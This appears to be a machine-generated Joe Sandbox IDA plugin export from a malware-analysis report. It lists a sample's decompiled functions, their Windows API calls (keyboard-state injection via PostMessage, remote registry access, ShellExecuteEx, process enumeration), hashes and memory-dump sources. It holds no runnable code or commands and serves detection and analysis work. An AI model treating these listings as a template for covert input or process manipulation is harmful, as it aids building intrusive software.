                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: AngleCloseEllipseFigureLineMovePixelRectangle
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 288456094-0
                                                                                                                                                  • Opcode ID: d308d32173f93e4cd5527eec6d709d72f3e0fef6f2bd509874fda6c33d0c9603
                                                                                                                                                  • Instruction ID: d3db7697bfba14f4a3ad6627a8a5faa1010559558ae5e3f89cc6b0bd66950af4
                                                                                                                                                  • Opcode Fuzzy Hash: d308d32173f93e4cd5527eec6d709d72f3e0fef6f2bd509874fda6c33d0c9603
                                                                                                                                                  • Instruction Fuzzy Hash: 90514BB51082419FD300DF15CC84E6BBBE9EFC9308F14891EF99497351D734A906CB6A
                                                                                                                                                  Function 0044496C Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetParent.USER32(?), ref: 004449B0
                                                                                                                                                  • GetKeyboardState.USER32(?), ref: 004449C3
                                                                                                                                                  • SetKeyboardState.USER32(?), ref: 00444A0F
                                                                                                                                                  • PostMessageW.USER32(?,00000101,00000010,?), ref: 00444A3F
                                                                                                                                                  • PostMessageW.USER32(?,00000101,00000011,?), ref: 00444A60
                                                                                                                                                  • PostMessageW.USER32(?,00000101,00000012,?), ref: 00444AAC
                                                                                                                                                  • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00444AD1
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessagePost$KeyboardState$Parent
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 87235514-0
                                                                                                                                                  • Opcode ID: d47ceab968b999e6d4944081d81f2373d9ea27f049f07d95c13b51a59d3cc885
                                                                                                                                                  • Instruction ID: 19c159416ad4887e81d4090d30fbb5c505c675cee05c330e2fd8e115592bd25d
                                                                                                                                                  • Opcode Fuzzy Hash: d47ceab968b999e6d4944081d81f2373d9ea27f049f07d95c13b51a59d3cc885
                                                                                                                                                  • Instruction Fuzzy Hash: B651C5A05487D139F7369234884ABA7BFD55F8A304F08CA4EF1E5156C3D2ECE984C769
                                                                                                                                                  Function 00444B65 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetParent.USER32(?), ref: 00444BA9
                                                                                                                                                  • GetKeyboardState.USER32(?), ref: 00444BBC
                                                                                                                                                  • SetKeyboardState.USER32(?), ref: 00444C08
                                                                                                                                                  • PostMessageW.USER32(?,00000100,00000010,?), ref: 00444C35
                                                                                                                                                  • PostMessageW.USER32(?,00000100,00000011,?), ref: 00444C53
                                                                                                                                                  • PostMessageW.USER32(?,00000100,00000012,?), ref: 00444C9C
                                                                                                                                                  • PostMessageW.USER32(?,00000100,0000005B,?), ref: 00444CBE
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessagePost$KeyboardState$Parent
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 87235514-0
                                                                                                                                                  • Opcode ID: de9aba9e896a2e755c79cba499ec14fd455f1b60db9a9f79a8626ad1a28ad6a0
                                                                                                                                                  • Instruction ID: 4493abccadab05ae7d00f733e1fa63583af0c494729619d74f1516a50adc8d80
                                                                                                                                                  • Opcode Fuzzy Hash: de9aba9e896a2e755c79cba499ec14fd455f1b60db9a9f79a8626ad1a28ad6a0
                                                                                                                                                  • Instruction Fuzzy Hash: A951E4F05097D139F7369364884ABA7BFE46F8A304F088A4EF1D5065C2D2ACE984C769
                                                                                                                                                  Function 0046A98D Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 158registryCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                  • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AA77
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ConnectRegistry_wcslen
                                                                                                                                                  • String ID: HH
                                                                                                                                                  • API String ID: 535477410-2761332787
                                                                                                                                                  • Opcode ID: a31a44ff546351b1de52d8f34745bf25342c9426a619c9766caf2b0061db1f75
                                                                                                                                                  • Instruction ID: 7b41397762752e7dec08e47bcdb2cb2f58790b6f4670524580eb9da3090621e6
                                                                                                                                                  • Opcode Fuzzy Hash: a31a44ff546351b1de52d8f34745bf25342c9426a619c9766caf2b0061db1f75
                                                                                                                                                  • Instruction Fuzzy Hash: A2516D71208301AFD304EF65C981F5BB7A9BFC4704F40892EF685A7291D678E905CB6B
                                                                                                                                                  Function 00457C08 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 158COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • _memset.LIBCMT ref: 00457C34
                                                                                                                                                  • _memset.LIBCMT ref: 00457CE8
                                                                                                                                                  • ShellExecuteExW.SHELL32(?), ref: 00457D34
                                                                                                                                                    • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                    • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 00457DDD
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _memset$CloseExecuteHandleShell_wcscpy_wcslen
                                                                                                                                                  • String ID: <$@
                                                                                                                                                  • API String ID: 1325244542-1426351568
                                                                                                                                                  • Opcode ID: bce0cc86945754dfb230170ecd4c21a915d6526e7c9b1e7fd723952314da78dd
                                                                                                                                                  • Instruction ID: 09e461bdfc47c8bdd671eddb31188d347eda7c51057725e13e77015b5001baed
                                                                                                                                                  • Opcode Fuzzy Hash: bce0cc86945754dfb230170ecd4c21a915d6526e7c9b1e7fd723952314da78dd
                                                                                                                                                  • Instruction Fuzzy Hash: EA510FB55083009FC710EF61D985A5BB7E4AF84709F00492EFD44AB392DB39ED48CB9A
                                                                                                                                                  Function 0047375F Relevance: 10.6, APIs: 7, Instructions: 150processCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • CreateToolhelp32Snapshot.KERNEL32(?,?,?,?,?,?,?,?,?,00000002,00000000,00000014), ref: 0047379B
                                                                                                                                                  • Process32FirstW.KERNEL32(00000000,?), ref: 004737A8
                                                                                                                                                  • __wsplitpath.LIBCMT ref: 004737E1
                                                                                                                                                    • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                  • _wcscat.LIBCMT ref: 004737F6
                                                                                                                                                  • __wcsicoll.LIBCMT ref: 00473818
                                                                                                                                                  • Process32NextW.KERNEL32(00000000,?), ref: 00473844
                                                                                                                                                  • CloseHandle.KERNEL32(00000000,00000000,?,?), ref: 00473852
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2547909840-0
                                                                                                                                                  • Opcode ID: 1dcf289f501924a5df592eae16a0ec0030d5246948486ec38c60cdc62178aa5b
                                                                                                                                                  • Instruction ID: 8efa427203ffd7a45d167e3a64f6abf3f3640219bb0751621114887cb14f0fc1
                                                                                                                                                  • Opcode Fuzzy Hash: 1dcf289f501924a5df592eae16a0ec0030d5246948486ec38c60cdc62178aa5b
                                                                                                                                                  • Instruction Fuzzy Hash: 4751BB71544304A7D720EF61CC86FDBB3E8AF84748F00492EF58957182E775E645C7AA
                                                                                                                                                  Function 0047762A Relevance: 10.6, APIs: 7, Instructions: 140windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                                                                                  • GetMenu.USER32 ref: 004776AA
                                                                                                                                                  • GetMenuItemCount.USER32(00000000), ref: 004776CC
                                                                                                                                                  • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 004776FB
                                                                                                                                                  • _wcslen.LIBCMT ref: 0047771A
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Menu$CountItemStringWindow_wcslen
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1823500076-0
                                                                                                                                                  • Opcode ID: 3c1e0179b5075f45df12b398ec391808b8d2f1e7a16a5d1bec5683dd9427006f
                                                                                                                                                  • Instruction ID: 4b9e656becebfc5f52f27a1d7ad2c07a58398098864d75d3a5ce1c02cc274359
                                                                                                                                                  • Opcode Fuzzy Hash: 3c1e0179b5075f45df12b398ec391808b8d2f1e7a16a5d1bec5683dd9427006f
                                                                                                                                                  • Instruction Fuzzy Hash: 174117715083019FD320EF25CC45BABB3E8BF88314F10492EF55997252D7B8E9458BA9
                                                                                                                                                  Function 0044849C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 106windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • _memset.LIBCMT ref: 004484C4
                                                                                                                                                  • GetMenuItemInfoW.USER32(?,?,00000000,004A83D8), ref: 00448562
                                                                                                                                                  • IsMenu.USER32(?), ref: 0044857B
                                                                                                                                                  • InsertMenuItemW.USER32(?,?,00000001,004A83D8), ref: 004485D0
                                                                                                                                                  • DrawMenuBar.USER32 ref: 004485E4
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Menu$Item$DrawInfoInsert_memset
                                                                                                                                                  • String ID: 0
                                                                                                                                                  • API String ID: 3866635326-4108050209
                                                                                                                                                  • Opcode ID: 42a201a1e731261e29c9ff9b40de176b55a78da0b06957c9f64dc5096dc7767a
                                                                                                                                                  • Instruction ID: c1b4c65bd9dbf201e14e83578cc8030a3c247867dd5f1e451e409e2153a24926
                                                                                                                                                  • Opcode Fuzzy Hash: 42a201a1e731261e29c9ff9b40de176b55a78da0b06957c9f64dc5096dc7767a
                                                                                                                                                  • Instruction Fuzzy Hash: 9F417F75604341AFE710CF45C984B6BB7E4FB89304F14881EFA554B391DBB4E849CB5A
                                                                                                                                                  Function 0047244D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104sleepCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • InterlockedIncrement.KERNEL32 ref: 0047247C
                                                                                                                                                  • InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472491
                                                                                                                                                  • Sleep.KERNEL32(0000000A), ref: 00472499
                                                                                                                                                  • InterlockedIncrement.KERNEL32(004A7CAC), ref: 004724A4
                                                                                                                                                  • InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472599
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Interlocked$DecrementIncrement$Sleep
                                                                                                                                                  • String ID: 0vH
                                                                                                                                                  • API String ID: 327565842-3662162768
                                                                                                                                                  • Opcode ID: bfb173672284e31ba0a3017bb0c7d670cf276827bd066f711b3c3b49063f60eb
                                                                                                                                                  • Instruction ID: 7246262c18bb701d5349304b0e2d21290bf7c9637501dd5a114e6955e8e78370
                                                                                                                                                  • Opcode Fuzzy Hash: bfb173672284e31ba0a3017bb0c7d670cf276827bd066f711b3c3b49063f60eb
                                                                                                                                                  • Instruction Fuzzy Hash: 9631D2329082259BD710DF28DD41A8A77A5EB95324F05483EFD08FB251DB78EC498BED
                                                                                                                                                  Function 004692E4 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                  • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00469368
                                                                                                                                                  • SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 00469379
                                                                                                                                                  • SendMessageW.USER32(?,?,00000000,00000000), ref: 004693AB
                                                                                                                                                    • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$_wcslen
                                                                                                                                                  • String ID: @U=u$ComboBox$ListBox
                                                                                                                                                  • API String ID: 763830540-2258501812
                                                                                                                                                  • Opcode ID: 509af3a058f8d2ccd68eb6fec456bdedc6df801b0ffdee10d368a4f30f08f539
                                                                                                                                                  • Instruction ID: 8c71ebf423f389569590ff88e643f185c263fd61562863516bde62979c95be4e
                                                                                                                                                  • Opcode Fuzzy Hash: 509af3a058f8d2ccd68eb6fec456bdedc6df801b0ffdee10d368a4f30f08f539
                                                                                                                                                  • Instruction Fuzzy Hash: E0210C7160020067C210BB3A9C46FAF77989B85364F09052FF959AB3D1EA7CE94A436E
                                                                                                                                                  Function 00401BE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • LoadStringW.USER32(?,00000065,?,0000007F), ref: 0042A9B0
                                                                                                                                                    • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                  • _memset.LIBCMT ref: 00401C62
                                                                                                                                                  • _wcsncpy.LIBCMT ref: 00401CA1
                                                                                                                                                  • _wcscpy.LIBCMT ref: 00401CBD
                                                                                                                                                  • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401CCF
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: IconLoadNotifyShell_String_memset_wcscpy_wcslen_wcsncpy
                                                                                                                                                  • String ID: Line:
                                                                                                                                                  • API String ID: 1620655955-1585850449
                                                                                                                                                  • Opcode ID: b1e388f5f21e32c190c1b7412400e6ffb6374e41c1d48bdcdb7aece10813d053
                                                                                                                                                  • Instruction ID: a4e7cf3abc31881c2b93aaae0beefbbd48c64772eea77d32b53e92a0700a02c6
                                                                                                                                                  • Opcode Fuzzy Hash: b1e388f5f21e32c190c1b7412400e6ffb6374e41c1d48bdcdb7aece10813d053
                                                                                                                                                  • Instruction Fuzzy Hash: 7431D47151C301ABD324EB11DC41BDB77E8AF94314F04493FF989521A1DB78AA49C79B
                                                                                                                                                  Function 004412AE Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 84windowlibraryCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00441333
                                                                                                                                                  • LoadLibraryW.KERNEL32(?,?,?,?,0047B4D0,?,?,?,?,?,?,?,?,?,00000000), ref: 0044133A
                                                                                                                                                  • SendMessageW.USER32(?,00000467,00000000,?), ref: 00441352
                                                                                                                                                  • DestroyWindow.USER32(00000000,?,00000467,00000000,?,?,?,?,0047B4D0,?,?,?,?,?,?), ref: 0044135B
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$DestroyLibraryLoadWindow
                                                                                                                                                  • String ID: @U=u$SysAnimate32
                                                                                                                                                  • API String ID: 3529120543-1285329038
                                                                                                                                                  • Opcode ID: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
                                                                                                                                                  • Instruction ID: 28effd0bdeb99d0e0a50349a2d6ccdc4655b9339127a2247ff1827a793b197f6
                                                                                                                                                  • Opcode Fuzzy Hash: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
                                                                                                                                                  • Instruction Fuzzy Hash: D0216271204301ABF7209AA5DC84F6B73ECEBD9724F104A1EF651D72E0D6B4DC818729
                                                                                                                                                  Function 0045D321 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 81COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SetErrorMode.KERNEL32(00000001), ref: 0045D32F
                                                                                                                                                  • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D3B3
                                                                                                                                                  • __swprintf.LIBCMT ref: 0045D3CC
                                                                                                                                                  • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D416
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ErrorMode$InformationVolume__swprintf
                                                                                                                                                  • String ID: %lu$HH
                                                                                                                                                  • API String ID: 3164766367-3924996404
                                                                                                                                                  • Opcode ID: bd20e614eacc1ec6e7ce8a240dc663141bf9142d6fc10aee8c7bf862d4d2af0b
                                                                                                                                                  • Instruction ID: e4de0c6df68350460ad5232616e5185c9d799459bd1b640414cfcbd8d86849a8
                                                                                                                                                  • Opcode Fuzzy Hash: bd20e614eacc1ec6e7ce8a240dc663141bf9142d6fc10aee8c7bf862d4d2af0b
                                                                                                                                                  • Instruction Fuzzy Hash: 85314A716083019BC310EF55D941A5BB7E4FF88704F40892EFA4597292D774EA09CB9A
                                                                                                                                                  Function 00445719 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • IsWindowVisible.USER32(?), ref: 00445721
                                                                                                                                                  • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0044573C
                                                                                                                                                  • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00445773
                                                                                                                                                  • _wcslen.LIBCMT ref: 004457A3
                                                                                                                                                  • CharUpperBuffW.USER32(00000000,00000000), ref: 004457AD
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
